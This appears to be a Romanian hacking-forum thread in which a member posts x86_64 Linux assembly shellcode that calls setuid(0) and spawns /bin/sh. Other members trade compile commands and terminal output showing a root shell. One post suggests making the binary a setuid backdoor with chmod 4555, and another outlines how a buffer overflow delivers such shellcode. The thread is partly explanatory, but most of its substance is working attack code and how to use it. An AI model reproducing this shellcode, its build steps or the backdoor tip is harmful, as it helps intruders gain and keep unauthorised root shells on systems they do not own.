setuid(0) + execve("/bin/sh") on x86_64 GNU/Linux

Nytro · July 21, 2013

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# (c) Tim Brown, 2009
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# <http://www.nth-dimension.org.uk/> / <http://www.machine.org.uk/>
#
# setuid(0) + execve("/bin/sh") on x86_64 GNU/Linux

.text
        .globl _start
_start:
    # uid = 0
    xor %edi, %edi # set %edi to 0
    # setuid
    mov $0x69, %al # set %al to 69 (setuid)
    syscall # enter the kernel
    # *filename = "/bin//sh"
    xor %ax, %ax # set %ax to 0
    push %ax # push %ax on to the stack
        movq $0x68732f2f6e69622f, %rbx # set %rbx to "hs//nib/"
        pushq %rbx # push %rbx on to the stack
        movq %rsp, %rdi # set %rdi to %esp
    # **argv = [0, *filename]
        xorq %rcx, %rcx # set %rcx to 0
        pushq %rcx # push %rcx on to the stack
        pushq %rdi # push %rdi on to the stack
        movq %rsp, %rsi # set %rsi to %rsp
    # execve
        mov $0x3b, %al # set %al to 59 (execve)
        syscall # enter the kernel

L-am postat deoarece e explicat.

Sursa: http://www.nth-dimension.org.uk/pub/setuid_execve_x86_64_Linux.asm

florinul · July 21, 2013

in ce e scris in c ?

H3xoR · July 21, 2013

assembly [GAS]

florinul · July 21, 2013

si cum se foloseste sau compileaza? :))

u0m3 · July 22, 2013

si cum se foloseste sau compileaza?

gcc setuid_execve_x86_64_Linux.asm -o shell

Daca asa nu merge schimba extensia fisierului sursa din .asm in .s

florinul · July 23, 2013

[root@#KaNaDa-TeaM BackDoor:/root]# gcc a.s -o shel

/tmp/ccuIeglI.o: In function `_start':

(.text+0x0): multiple definition of `_start'

/usr/lib/gcc/x86_64-redhat-linux/4.4.6/../../../../lib64/crt1.o:(.text+0x0): first defined here

/usr/lib/gcc/x86_64-redhat-linux/4.4.6/../../../../lib64/crt1.o: In function `_start':

(.text+0x20): undefined reference to `main'

collect2: ld returned 1 exit status

[root@#KaNaDa-TeaM BackDoor:/root]# gcc a.s -o shell

/tmp/cchulhnB.o: In function `_start':

(.text+0x0): multiple definition of `_start'

/usr/lib/gcc/x86_64-redhat-linux/4.4.6/../../../../lib64/crt1.o:(.text+0x0): first defined here

/usr/lib/gcc/x86_64-redhat-linux/4.4.6/../../../../lib64/crt1.o: In function `_start':

(.text+0x20): undefined reference to `main'

collect2: ld returned 1 exit status

kNigHt · July 23, 2013

Nu merge compilat orice i-as face sa moara ma-sa. A reusit cineva?

EDIT: Am reusit, poate ajuta pe cineva...


[root@x] ~/test2 
$ wget http://www.nth-dimension.org.uk/pub/setuid_execve_x86_64_Linux.asm
[ bla bla ]

[root@x] ~/test2 
$ ls
setuid_execve_x86_64_Linux.asm

[root@x] ~/test2 
$ mv setuid_execve_x86_64_Linux.asm setuid_execve_x86_64_Linux.s

[root@x] ~/test2 
$ gcc setuid_execve_x86_64_Linux.s -c -o setuid_execve_x86_64_Linux

[root@x] ~/test2 
$ ld setuid_execve_x86_64_Linux -o setuid_execve_x86_64_Linux_compiled

[root@x] ~/test2 
$ chmod +x setuid_execve_x86_64_Linux_compiled

[root@x] ~/test2 
$ ./setuid_execve_x86_64_Linux_compiled
# whoami
root
# 
# 
# whatido
/bin//sh: 4: whatido: not found
# 
# 
# id  
uid=0(root) gid=0(root) groups=0(root)
# 
#

Edited July 23, 2013 by kNigHt

Zatarra · July 23, 2013

@knight - Sper ca nu l-ai executat ca root :))

florinul · July 23, 2013

)

Nytro · July 24, 2013

@knight - Sper ca nu l-ai executat ca root

E in regula, l-am citit inainte de a posta, de aceea l-am postat.

Sunt 2 syscall-uri:

- setuid

- execve

Corespund cu cele de aici: >Ryan A. Chapman | Linux System Call Table for x86_64

Iar acea "linie" este "hs//nib/" => /bin/sh

Zatarra · July 24, 2013

E in regula, l-am citit inainte de a posta, de aceea l-am postat.
Sunt 2 syscall-uri:
- setuid
- execve
Corespund cu cele de aici: >Ryan A. Chapman | Linux System Call Table for x86_64
Iar acea "linie" este "hs//nib/" => /bin/sh

Nu ma refeream la faptul ca are ceva bad in el, ma referam la faptul ca daca il executi deja ca uid 0 ce rost mai are? :))

bcman · July 24, 2013

Am facut exact acelasi lucru ca si knight si primesc urmatoarele erori la compilare:

setuid_execve_x86_64_Linux.s: Assembler messages:
setuid_execve_x86_64_Linux.s:42: Error: bad register name `%rbx'
setuid_execve_x86_64_Linux.s:43: Error: bad register name `%rbx'
setuid_execve_x86_64_Linux.s:44: Error: bad register name `%rsp'
setuid_execve_x86_64_Linux.s:46: Error: bad register name `%rcx'
setuid_execve_x86_64_Linux.s:47: Error: bad register name `%rcx'
setuid_execve_x86_64_Linux.s:48: Error: bad register name `%rdi'
setuid_execve_x86_64_Linux.s:49: Error: bad register name `%rsp'

Ma gandesc ca e de la mine, daca voua v-a mers. Ceva idei?

Zatarra · July 24, 2013

Am facut exact acelasi lucru ca si knight si primesc urmatoarele erori la compilare:
Ma gandesc ca e de la mine, daca voua v-a mers. Ceva idei?

E x86_64 serverul? Dai uname -i

bcman · July 24, 2013

E x86_64 serverul? Dai uname -i

Ups, my bad. N-am fost atent, l-am testat pe un i386. Am facut proba acum si pe un x86_64 si functioneaza. Mersi!

Legat de postul tau adresat lui knight, din cate vad nu l-a rulat ca root, a devenit root doar dupa executare.

Zatarra · July 24, 2013

Ups, my bad. N-am fost atent, l-am testat pe un i386. Am facut proba acum si pe un x86_64 si functioneaza. Mersi!
Legat de postul tau adresat lui knight, din cate vad nu l-a rulat ca root, a devenit root doar dupa executare.

Stiu ca $ face parte din prompt-ul unui user (!=root) dar depinde de distributie, eram doar curios Eu sincer nici acum nu l-am testat, sunt curios pe ce versiuni de kernel merge si cand a fost reparat.

florinul · July 24, 2013

Nytro spune-ne si noua cum se utilizeaza ca eu nu am reusit sa il compilez pe nici unu poate gresec eu pe undeva

kNigHt · July 24, 2013

@Zatarra N-are niciun rost sa-l executi ca root, vroiam doar sa vad daca e corect compilat :))

In orice caz, nu mi-a mers privilege escalation cu el.

florinul · July 26, 2013

Knight erai deja root :))

[root@x] ~/test2

$ ./setuid_execve_x86_64_Linux_compiled

# whoami

root

shaggi · July 26, 2013

shaggi@gmail:~$ gcc cacat.s -c -o cacat
shaggi@gmail:~$ ./cacat
-bash: ./cacat: Permission denied
shaggi@gmail:~$ chmod +x ./cacat
shaggi@gmail:~$ ./cacat
-bash: ./cacat: cannot execute binary file
shaggi@gmail:~$

ce cacat?

Nytro · July 26, 2013

[root@rstforums ~]# as test.asm -o object.o
[root@rstforums ~]# ld object.o -o shell    
[root@rstforums ~]# ./shell 
sh-3.2#

Nu e un privilege escalation exploit, e doar un shellcode care deschide un shell.

1. setuid: http://linux.die.net/man/2/setuid

2. execve: /bin/sh

Edited July 26, 2013 by Nytro

shaggi · July 26, 2013

nu-si are rostul, merge doar cand e rulat ca root...

shaggi@gmail:~$ sudo ./shell
# exit
shaggi@gmail:~$ ./shell
Segmentation fault
shaggi@gmail:~$ uname -r -i
2.6.32-042stab078.28 x86_64
shaggi@gmail:~$

LE: e bun pe post de backdoor cu chmod 4555, adica -r-sr-xr-x

Edited July 26, 2013 by shaggi

Nytro · July 26, 2013

Normal, nu e EXPLOIT, e SHELLCODE.

Vedeti tutorialele facute de neox.

Pe scurt:

1. Ai un program/server (Apache HTTPD de exemplu) pe Linux

2. Acel program are un buffer static: char buffer[100]

3. Cand intri pe o pagina web: GET /pagina.php HTTP/1.1, acest rand e pus in acel buffer

4. Daca pui peste 100 de caractere: GET /paginaaaaaaaaaaaaaaaaaaaaaaaaaa...aaaaaaaaaaaaaaa.php se depaseste dimensiuea acelui buffer

5. Ceea ce depaseste acest buffer, in conditii optime, poate suprascrie EIP-ul (codul in executie)

6. Prin exploatarea acestei probleme tu ajungi la posibilitatea de a rula cod, ca cel de mai sus, shellcode, in locul codului programului respectiv

7. Codul (de mai sus), se executa, si iti ofera un shell, ca tu, om rau, sa executi comenzi rele

E doar ideea, foarte pe scurt.

NU iti exploateaza o problema din kernel ca sa "fii root". Doar deschide un shell.

Vedeti asta: setuid - Wikipedia, the free encyclopedia

florinul · July 26, 2013

deci pana la urma nu e local exploit nu ?

Nytro · July 26, 2013

Normal, nu e EXPLOIT, e SHELLCODE.
Vedeti tutorialele facute de neox.
Pe scurt:
1. Ai un program/server (Apache HTTPD de exemplu) pe Linux
2. Acel program are un buffer static: char buffer[100]
3. Cand intri pe o pagina web: GET /pagina.php HTTP/1.1, acest rand e pus in acel buffer
4. Daca pui peste 100 de caractere: GET /paginaaaaaaaaaaaaaaaaaaaaaaaaaa...aaaaaaaaaaaaaaa.php se depaseste dimensiuea acelui buffer
5. Ceea ce depaseste acest buffer, in conditii optime, poate suprascrie EIP-ul (codul in executie)
6. Prin exploatarea acestei probleme tu ajungi la posibilitatea de a rula cod, ca cel de mai sus, shellcode, in locul codului programului respectiv
7. Codul (de mai sus), se executa, si iti ofera un shell, ca tu, om rau, sa executi comenzi rele
E doar ideea, foarte pe scurt.
NU iti exploateaza o problema din kernel ca sa "fii root". Doar deschide un shell.
Vedeti asta: setuid - Wikipedia, the free encyclopedia

Am colorat.

l3arn3r · August 19, 2013

Nu merge compilat orice i-as face sa moara ma-sa. A reusit cineva?

EDIT: Am reusit, poate ajuta pe cineva...


[root@x] ~/test2 
$ wget http://www.nth-dimension.org.uk/pub/setuid_execve_x86_64_Linux.asm
[ bla bla ]

[root@x] ~/test2 
$ ls
setuid_execve_x86_64_Linux.asm

[root@x] ~/test2 
$ mv setuid_execve_x86_64_Linux.asm setuid_execve_x86_64_Linux.s

[root@x] ~/test2 
$ gcc setuid_execve_x86_64_Linux.s -c -o setuid_execve_x86_64_Linux

[root@x] ~/test2 
$ ld setuid_execve_x86_64_Linux -o setuid_execve_x86_64_Linux_compiled

[root@x] ~/test2 
$ chmod +x setuid_execve_x86_64_Linux_compiled

[root@x] ~/test2 
$ ./setuid_execve_x86_64_Linux_compiled
# whoami
root
# 
# 
# whatido
/bin//sh: 4: whatido: not found
# 
# 
# id  
uid=0(root) gid=0(root) groups=0(root)
# 
#

#uname -a

Please post Result of this command

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setuid(0) + execve("/bin/sh") on x86_64 GNU/Linux

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